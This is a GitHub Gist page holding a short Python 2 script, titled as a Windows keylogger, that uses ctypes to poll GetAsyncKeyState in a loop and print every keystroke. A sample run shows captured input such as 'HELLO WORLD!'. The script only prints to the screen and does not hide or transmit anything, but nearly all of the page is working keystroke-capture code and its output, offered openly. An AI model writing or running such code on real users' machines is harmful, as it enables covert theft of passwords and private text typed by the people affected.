Last active
December 21, 2019 16:38
-
-
Save inaz2/541da967ad04d06b975e to your computer and use it in GitHub Desktop.
Windows keylogger by Python ctypes (Cygwin)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import time | |
from ctypes import * | |
GetAsyncKeyState = cdll.user32.GetAsyncKeyState | |
special_keys = {0x08: "BS", 0x09: "Tab", 0x0d: "Enter", 0x10: "Shift", 0x11: "Ctrl", 0x12: "Alt", 0x14: "CapsLock", 0x1b: "Esc", 0x20: "Space", 0x2e: "Del"} | |
# reset key states | |
for i in xrange(256): | |
GetAsyncKeyState(i) | |
while True: | |
for i in xrange(256): | |
if GetAsyncKeyState(i) & 1: | |
if i in special_keys: | |
print "<%s>" % special_keys[i], | |
elif 0x30 <= i <= 0x5a: | |
print "%c" % i, | |
else: | |
print "[%02x]" % i, | |
sys.stdout.flush() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ python | |
Python 2.7.5 (default, Oct 2 2013, 22:34:09) | |
[GCC 4.8.1] on cygwin | |
Type "help", "copyright", "credits" or "license" for more information. | |
>>> | |
$ python keylogger.py | |
<Shift> [a0] H E L L O [bc] <Space> [a0] <Shift> W O R L D [a0] <Shift> 1 <Enter> [a2] <Ctrl> C | |
Traceback (most recent call last): | |
File "keylogger.py", line 15, in <module> | |
if GetAsyncKeyState(i) & 1: | |
KeyboardInterrupt |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I found at https://twitter.com/inaz2/status/630050614530080768